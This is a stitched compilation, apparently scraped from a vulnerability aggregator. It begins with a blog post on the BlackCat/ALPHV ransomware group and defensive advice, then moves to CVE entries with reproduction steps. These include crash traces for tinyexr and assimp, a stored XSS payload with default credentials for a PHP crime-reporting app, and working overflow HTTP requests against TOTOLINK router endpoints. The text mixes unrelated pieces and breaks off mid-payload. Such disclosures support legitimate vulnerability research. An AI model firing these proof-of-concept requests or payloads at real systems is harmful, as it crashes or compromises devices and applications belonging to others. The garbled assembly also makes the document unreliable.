A relative newcomer to the ransomware scene, the BlackCat group quickly gained notoriety and may be associated with other APT groups like Conti and DarkSide.

Did you know that the BlackCat ransomware group has successfully breached more than 60 organizations in a couple of months? Government, healthcare, or public utilities — the group has made it abundantly clear that everyone is a target and will demand ransoms that can reach into the millions. Our own research shows that the BlackCat cybergroup favors exploiting vulnerabilities found in Windows operating systems, Exchange servers, and Secure Mobile Access products. Let's break down their tactics and ways to defend against their attacks. 

**Who is BlackCat?**

BlackCat (also known as AlphaV, AlphaVM, ALPHV, ALPHV-ng, or Noberus) is a relative newcomer to the ransomware scene but quickly gained notoriety during its first active months. Discovered in November 2021, the group was feared for its sophistication. Experts and researchers believe the group may be associated with other advanced-persistent threat (APT) groups like Conti, DarkSide, Revil, and BlackMatter.

**BlackCat: The Brief**

BlackCat has been observed to have the knowledge to exploit these five vulnerabilities: CVE-2016-0099 (High), CVE-2019-7481 (High), CVE-2021-31207 (High), CVE-2021-34473 (Critical), and CVE-2021-34523 (Critical).  
\[1\]CVE-2021-34473 and CVE-2021-34523, are both critical vulnerabilities found in Microsoft Exchange Server and require immediate remediation.

Although CVE-2021-31207, CVE-2021-34473, and CVE-2021-34523 have high severity scores, they should still take priority in patching efforts for their potential use in vulnerability chaining attacks and have multiple known threat actor associations.

CVE-2019-7481 is an SQL injection vulnerability that impacted SonicWall SMA100 version 9.0.0.3 and earlier. As this version is longer supported by the vendor, an immediate version upgrade is advised.

**How BlackCat Operates**

BlackCat's entry into an organization's network begins by leveraging stolen access credentials. At the pace security breaches occur, it is difficult to gauge how many credentials are stolen or leaked to the public every year, but about 20,000 (or 50%) of security incidents in 2021 were initiated by stolen credentials. 

After initial access is made, BlackCat or similar ransomware groups silently collect information, mapping the entire network and manipulating accounts for deeper access. Vendor-specific ransomware is then created based on the intelligence gathered during the initial phase of the attack, and security/backup systems are disabled or made to appear to be functioning as expected. The final step is to execute the ransomware and drop ransom notes on their unsuspecting victims.

**Notable Characteristics**What sets BlackCat apart from other ransomware groups is its ability to create highly tailored executables for their intended target that contribute to its reputation for sophisticated attack patterns across environments.

BlackCat develops its tools with the Rust programming language which brings greater stability and integration possibilities. By taking advantage of command-line-driven and human-operated code, BlackCat brings a higher level of configuration.

Its ransomware can then encrypt victims' data with four types of encryption methods. The code can be deployed across different platforms, including Linux and Windows-based systems.

BlackCat also engages in the practice of selling its services to others, or more commonly known as ransomware-as-a-service. Although BlackCat is the first known group to develop its ransomware with the Rust programming language, its use is now becoming common in threat circles. The group is further known for its speedy data encryption, which gives victims a smaller window and fewer chances of preventing prolonged damage and disruption to their services. The group's public leak site makes it simple for users to search their database of stolen information by victim name, password, and document type.

**How Organizations Can Prevent a BlackCat Attack**The ransomware group is quickly becoming the preferred ransomware-as-a-service provider for many threat actors today. Although the true extent of BlackCat's havoc may never fully be known, more than 60 incidents involving the group have pushed the FBI to release an advisory warning of the group's potential danger.

Keeping this information in mind, here are some actions businesses and organizations can take to protect themselves from a ransomware attack.

Patch vulnerabilities that are known to be exploited by the group, like the ones listed at the top of this article. Make sure unused network ports are properly protected.

Deploy multi-factor authentication for all users, require consistent identity verification, and routinely refresh passwords.

Regularly perform attack surface management scans to identify exposures within organization assets like servers, applications, and cloud-connected deployments.

Consider a professional penetration test of company networks to find unknown exposures.

Maintain separate backup data to avoid contamination in the event of a ransomware attack.

Although the threat landscape evolves and BlackCat's methods adapt over time, organizations have a responsibility to consistently monitor their networks and patch vulnerabilities accordingly. Many vulnerabilities, like CVE-2016-0099 found in Microsoft Windows, have been known for years and yet are exploited today. When it comes to ransomware groups, give them an inch, and they will take a mile.

Everything You Need To Know About BlackCat (AlphaV)

GPAC v2.1-DEV-rev232-gfcaa01ebb-master was discovered to contain a stack overflow when processing ISOM_IOD.

CVE-2022-38530: AddressSanitizer: stack-overflow when processing ISOM_IOD · Issue #2216 · gpac/gpac

tinyexr commit 0647fb3 was discovered to contain a heap-buffer overflow via the component rleUncompress.

**Describe the issue**

Heap-buffer-overflow still exists in the rleUncompress.

_**This is similar to issue #112, but it seems that the patch 58a6258 has not fully fixed them.**_

**To Reproduce**

_Environment_

*   OS: Ubuntu 16.04.7 LTS
*   Compiler: gcc version 5.4.0

_version:_ latest commit 0647fb3

_poc:_ poc

Steps to reproduce the behavior:

1.  Compile TinyEXR with Address Sanitizer

    CFLAGS="-g -O0 -fsanitize=address" CXXFLAGS="-g -O0 -fsanitize=address" cmake -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release ..
    

2.  run ./test_tinyexr ./poc

Here is the trace reported by ASAN:

    root@d8a714203f6e:# ./test_tinyexr poc
    =================================================================
    ==14886==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000006337 at pc 0x00000040c22d bp 0x7fffffffcb50 sp 0x7fffffffcb40
    READ of size 1 at 0x619000006337 thread T0
        #0 0x40c22c in rleUncompress tinyexr/tinyexr.h:1522
        #1 0x40c22c in DecompressRle tinyexr/tinyexr.h:1625
        #2 0x40c22c in DecodePixelData tinyexr/tinyexr.h:3786
        #3 0x411318 in DecodeChunk tinyexr/tinyexr.h:5176
        #4 0x41a3e9 in DecodeEXRImage tinyexr/tinyexr.h:5776
        #5 0x41dcc7 in LoadEXRImageFromMemory tinyexr/tinyexr.h:6465
        #6 0x41dcc7 in LoadEXRImageFromFile tinyexr/tinyexr.h:6442
        #7 0x4288ae in LoadEXRWithLayer tinyexr/tinyexr.h:5954
        #8 0x40502f in LoadEXR tinyexr/tinyexr.h:5902
        #9 0x40502f in test_main tinyexr/test_tinyexr.cc:223
        #10 0x40502f in main tinyexr/test_tinyexr.cc:194
        #11 0x7ffff652883f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
        #12 0x4053b8 in _start (tinyexr/build-gcc/test_tinyexr+0x4053b8)
    
    0x619000006337 is located 0 bytes to the right of 951-byte region [0x619000005f80,0x619000006337)
    allocated by thread T0 here:
        #0 0x7ffff6f03532 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99532)
        #1 0x41dc55 in __gnu_cxx::new_allocator<unsigned char>::allocate(unsigned long, void const*) /usr/include/c++/5/ext/new_allocator.h:104
        #2 0x41dc55 in std::allocator_traits<std::allocator<unsigned char> >::allocate(std::allocator<unsigned char>&, unsigned long) /usr/include/c++/5/bits/alloc_traits.h:491
        #3 0x41dc55 in std::_Vector_base<unsigned char, std::allocator<unsigned char> >::_M_allocate(unsigned long) /usr/include/c++/5/bits/stl_vector.h:170
        #4 0x41dc55 in std::_Vector_base<unsigned char, std::allocator<unsigned char> >::_M_create_storage(unsigned long) /usr/include/c++/5/bits/stl_vector.h:185
        #5 0x41dc55 in std::_Vector_base<unsigned char, std::allocator<unsigned char> >::_Vector_base(unsigned long, std::allocator<unsigned char> const&) /usr/include/c++/5/bits/stl_vector.h:136
        #6 0x41dc55 in std::vector<unsigned char, std::allocator<unsigned char> >::vector(unsigned long, std::allocator<unsigned char> const&) /usr/include/c++/5/bits/stl_vector.h:278
        #7 0x41dc55 in LoadEXRImageFromFile tinyexr/tinyexr.h:6432
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow tinyexr/tinyexr.h:1522 rleUncompress
    Shadow bytes around the buggy address:
      0x0c327fff8c10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c327fff8c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c327fff8c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c327fff8c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c327fff8c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c327fff8c60: 00 00 00 00 00 00[07]fa fa fa fa fa fa fa fa fa
      0x0c327fff8c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c327fff8c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c327fff8c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c327fff8ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c327fff8cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Heap right redzone:      fb
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack partial redzone:   f4
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
    ==14886==ABORTING

CVE-2022-38529: Heap-buffer-overflow still exists in the rleUncompress · Issue #169 · syoyo/tinyexr

Open Asset Import Library (assimp) commit 3c253ca was discovered to contain a segmentation violation via the component Assimp::XFileImporter::CreateMeshes.

**Describe the bug**

SEGV on unknown address still exists in Assimp::XFileImporter::CreateMeshes.

_**This is similar to issue #1728. Note that #1728 reported wrong type of the vulnerability, as it is not a NULL pointer dereference. Patch 39ce3e1 was misguided by #1728, leaving this vulnerability unfixed.**_

**To Reproduce**

Steps to reproduce the behavior:  
**version:** latest commit 3c253ca  
**poc:**null\_CreateMeshes.zip

    git clone https://github.com/assimp/assimp.git
    cd assimp
    mkdir build
    cd build
    CFLAGS="-g -O0" CXXFLAGS="-g -O0" cmake -G "Unix Makefiles" -DBUILD_SHARED_LIBS=OFF  -DASSIMP_BUILD_ASSIMP_TOOLS=ON  ..
    ./assimp info $POC
    

**Expected behavior**

    user@c3ae4d510abb:$ ./bin/assimp info poc
    Launching asset import ...           OK
    Validating postprocessing flags ...  OK
    0 %
    Segmentation fault (core dumped)
    

    user@c3ae4d510abb:$ ./bin/assimp info poc
    Launching asset import ...           OK
    Validating postprocessing flags ...  OK
    0 %
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==20088==ERROR: AddressSanitizer: SEGV on unknown address 0x6120000301c0 (pc 0x555556872ed9 bp 0x7fffffffb4d0 sp 0x7fffffffb100 T0)
    ==20088==The signal is caused by a READ memory access.
        #0 0x555556872ed8  (bin/assimp+0x131eed8)
        #1 0x55555687151a  (bin/assimp+0x131d51a)
        #2 0x5555568716a0  (bin/assimp+0x131d6a0)
        #3 0x555556870ba0  (bin/assimp+0x131cba0)
        #4 0x555556870829  (bin/assimp+0x131c829)
        #5 0x555555c56ab5  (bin/assimp+0x702ab5)
        #6 0x55555580ecf2  (bin/assimp+0x2bacf2)
        #7 0x5555557f89af  (bin/assimp+0x2a49af)
        #8 0x5555557f5f42  (bin/assimp+0x2a1f42)
        #9 0x555555801399  (bin/assimp+0x2ad399)
        #10 0x5555557f59c8  (bin/assimp+0x2a19c8)
        #11 0x7ffff7070082  (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
        #12 0x5555557cda7d  (bin/assimp+0x279a7d)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV (bin/assimp+0x131eed8)
    ==20088==ABORTING
    Aborted
    

**Vulnerability analysis**

Using gdb to trace this PoC, the vulnerability occurs in line 340 of XFileImporter.cpp, due to idx=16256 is larger than the capacity of sourceMesh->mNormals (24).

if ( mesh->HasNormals() ) {

if ( sourceMesh->mNormFaces\[ f \].mIndices.size() > d ) {

const size\_t idx( sourceMesh->mNormFaces\[ f \].mIndices\[ d \] );

mesh->mNormals\[ newIndex \] = sourceMesh->mNormals\[ idx \];

}

}

After tracing it, I found that pMesh->mNormals assigned numNormals elements in line 514-519 of XFileParser.cpp, then line 535-536 saved the result of ReadInt to pMesh->mNormFaces[a].mIndices without checking if it is in the correct boundary (<numNormals). This eventually leads to the bug above.

unsigned int numNormals = ReadInt();

pMesh->mNormals.resize(numNormals);

// read normal vectors

for (unsigned int a = 0; a < numNormals; ++a) {

pMesh->mNormals\[a\] = ReadVector3();

}

// read normal indices

unsigned int numFaces = ReadInt();

if (numFaces != pMesh->mPosFaces.size()) {

ThrowException("Normal face count does not match vertex face count.");

}

// do not crah when no face definitions are there

if (numFaces > 0) {

// normal face creation

pMesh->mNormFaces.resize(numFaces);

for (unsigned int a = 0; a < numFaces; ++a) {

unsigned int numIndices = ReadInt();

pMesh->mNormFaces\[a\] = Face();

Face &face = pMesh->mNormFaces\[a\];

for (unsigned int b = 0; b < numIndices; ++b) {

face.mIndices.push\_back(ReadInt());

}

TestForSeparator();

}

}

**Suggested fix**

Add a boundary check after ReadInt following the convention in line 410 below. Line 410 ensures the number read by ReadInt does not exceed the size of the vector.

unsigned int numVertices = ReadInt();

pMesh->mPositions.resize(numVertices);

// read vertices

for (unsigned int a = 0; a < numVertices; a++)

pMesh->mPositions\[a\] = ReadVector3();

// read position faces

unsigned int numPosFaces = ReadInt();

pMesh->mPosFaces.resize(numPosFaces);

for (unsigned int a = 0; a < numPosFaces; ++a) {

// read indices

unsigned int numIndices = ReadInt();

Face &face = pMesh->mPosFaces\[a\];

for (unsigned int b = 0; b < numIndices; ++b) {

const int idx(ReadInt());

if (static\_cast<unsigned int\>(idx) <= numVertices) {

face.mIndices.push\_back(idx);

}

}

TestForSeparator();

}

CVE-2022-38528: Bug: SEGV on unknown address still exists in Assimp::XFileImporter::CreateMeshes · Issue #4662 · assimp/assimp

Samourai Wallet Stonewallx2 0.99.98e allows a denial of service via a P2P coinjoin. The attacker and victim must follow each other's paynym. Then, the victim must try to collaborate with the attacker for a Stonewallx2 transaction. Next, the attacker broadcasts a tx, spending the inputs used in Stonewallx2 before the victim can broadcast the collaborative transaction. The attacker does not signal opt in RBF, and uses the lowest fee rate. This would result in the victim being unable to perform Stonewallx2. (Note that the attacker could use multiple paynyms.)

CVE-2022-35913: [bitcoin-dev] Playing with full-rbf peers for fun and L2s security

Persistent cross-site scripting (XSS) in Crime Reporting System 1.0 allows a remote attacker to introduce arbitary Javascript via manipulation of an unsanitized POST parameter

    # Exploit Title: Crime reporting system - Stored cross-site scripting (XSS)# Date: 29/07/2022# Exploit Author: Eslam Reda# Vendor Homepage: https://sourcecodehero.com/crime-reporting-system-project-in-php-with-source-code/# Software Link: https://sourcecodehero.com//wp-content/uploads/2022/03/Crime-Reporting-System-Project-in-PHP-with-source-code.zip# Version: v1.0# Tested on: Linux/Windows1. Login to the application "the default credentials are username:jude - password:12345", go to add users "/admin/a_users.php".2. Fill in the form with valid information.3. Intercept the traffic with a proxy and add the payload (<script>alert(9)</script>)) in the surname field.4. Payload will be stored and executed when visiting "/admin/v_users.php"

CVE-2022-37253: Crime Reporting System 1.0 Cross Site Scripting ≈ Packet Storm

WatchGuard Firebox and XTM appliances allow an unauthenticated remote attacker to retrieve sensitive authentication server settings by sending a malicious request to exposed authentication endpoints. This is fixed in Fireware OS 12.8.1, 12.5.10, and 12.1.4.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

CVE-2022-31790: security - CVE-2022-31790 CVE-2022-31789: Watchguard XTM/Firebox firewalls: Multiple vulnerabilities

A vulnerability was found in the PCS project. This issue occurs due to incorrect permissions on a Unix socket used for internal communication between PCS daemons. A privilege escalation could happen by obtaining an authentication token for a hacluster user. With the "hacluster" token, this flaw allows an attacker to have complete control over the cluster managed by PCS.

CVE-2022-2735: security - ClusterLabs/PCS: [CVE-2022-2735] Obtaining an authentication token for hacluster user leads to privilege escalation.

TOTOLINK A3002R TOTOLINK-A3002R-He-V1.1.1-B20200824.0128 is vulnerable Buffer Overflow via the hostname parameter in binary /bin/boa.

**Firmware:**

TOTOlink A3002R TOTOLINK-A3002R-He-V1.1.1-B20200824.0128

**Detail:**

The hostname parameter in the sub\_416F38 function in binary /bin/boa is copied directly to V28 through strcpy without filtering

The sub\_416f38 function is found to process the data of the fromstaticDHCP interface

Run grep -i 'fromstaticDHCP to find that the front page is tcpip\_staticdhcp.htm

**poc:**

    POST /boafrm/formStaticDHCP HTTP/1.1
    
    Host: 192.168.0.1
    
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
    
    Accept: */*
    
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    
    Accept-Encoding: gzip, deflate
    
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    
    X-Requested-With: XMLHttpRequest
    
    Content-Length: 3335
    
    Origin: http://192.168.0.1
    
    Connection: close
    
    Referer: http://192.168.0.1/tcpip_staticdhcp.htm
    
    Cookie: xxid=1488794641; uid=nCnNGQTjYe
    
    
    
    static_dhcp=1&ip_addr=192.168.0.2&mac_addr=0016eaae3c40&hostname=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&addRsvIPFlag=1&submit-url=%2Ftcpip_staticdhcp.htm
    
    

The last one is the port scanned before the test, and you can see that the HTTP service crashed after the POC was sent

Then the page still fails to be accessed

CVE-2022-40112: iot/3.md at main · 1759134370/iot

TOTOLINK A3002R TOTOLINK-A3002R-He-V1.1.1-B20200824.0128 is vulnerable to Buffer Overflow via /bin/boa.

The IP6addr parameter in the sub\_41A074 function in binary /bin/boa is copied into the array without filtering through strCPy, causing a buffer overflow vulnerability 

You can see that the program got the value of ip6addr and copied it directly through strcpy

It is found that sub\_41A074 processes the parameters passed by the interface/boAFRM /formFilter

    POST /boafrm/formFilter HTTP/1.1
    
    Host: 192.168.0.1
    
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
    
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    
    Accept-Encoding: gzip, deflate
    
    Content-Type: application/x-www-form-urlencoded
    
    Content-Length: 4644
    
    Origin: http://192.168.0.1
    
    Connection: close
    
    Referer: http://192.168.0.1/ip6filter.htm
    
    Cookie: xxid=1488794641
    
    Upgrade-Insecure-Requests: 1
    
    
    
    ip=192.168.0.3&enabled=1&ip4=3&ip6addr=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa